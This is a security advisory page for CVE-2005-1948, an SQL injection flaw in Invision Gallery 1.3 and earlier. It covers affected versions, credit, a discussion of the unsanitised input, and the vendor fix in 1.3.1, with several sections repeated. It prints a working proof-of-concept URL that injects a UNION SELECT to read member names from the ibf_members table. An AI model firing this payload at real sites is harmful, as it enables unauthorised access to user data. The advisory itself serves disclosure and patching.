Invision Power Services Invision Gallery SQL Injection Vulnerability
BID:13907
Info
Invision Power Services Invision Gallery SQL Injection Vulnerability
| Bugtraq ID: | 13907 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-1948 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 09 2005 12:00AM |
| Updated: | Jul 12 2009 02:56PM |
| Credit: | Discovery is credited to James Bercegay of the GulfTech Security Research Team. |
| Vulnerable: |
Invision Power Services Invision Gallery 1.3 Invision Power Services Invision Gallery 1.0.1 |
| Not Vulnerable: |
Invision Power Services Invision Gallery 1.3.1 |
Discussion
Invision Power Services Invision Gallery SQL Injection Vulnerability
Invision Gallery is affected by an SQL injection vulnerability.
This issue is due to a failure in the application to properly sanitize user-supplied input to the 'index.php' script before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
Invision Gallery 1.3.0 and prior are vulnerable.
Invision Gallery is affected by an SQL injection vulnerability.
This issue is due to a failure in the application to properly sanitize user-supplied input to the 'index.php' script before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
Invision Gallery 1.3.0 and prior are vulnerable.
Exploit / POC
Invision Power Services Invision Gallery SQL Injection Vulnerability
An exploit is not required.
The following proof of concept is available:
http://www.example.com/index.php?act=module&module=gallery&cmd=editcomment&comment=
-99%20UNION%20SELECT%200,0,0,0,0,0,0,0,0,name,0,0,0%20FROM%20ibf_members%20
WHERE%201/*&img=1
An exploit is not required.
The following proof of concept is available:
http://www.example.com/index.php?act=module&module=gallery&cmd=editcomment&comment=
-99%20UNION%20SELECT%200,0,0,0,0,0,0,0,0,name,0,0,0%20FROM%20ibf_members%20
WHERE%201/*&img=1
Solution / Fix
Invision Power Services Invision Gallery SQL Injection Vulnerability
Solution:
The vendor has released Invision Gallery 1.3.1 to address this issue. Please contact the vendor for more information.
Solution:
The vendor has released Invision Gallery 1.3.1 to address this issue. Please contact the vendor for more information.
References
Invision Power Services Invision Gallery SQL Injection Vulnerability
References:
References:
- Invision Gallery 1.3.1 Available (Invision Power Services)
- Invision Gallery Vulnerabilities (GulfTech Security Research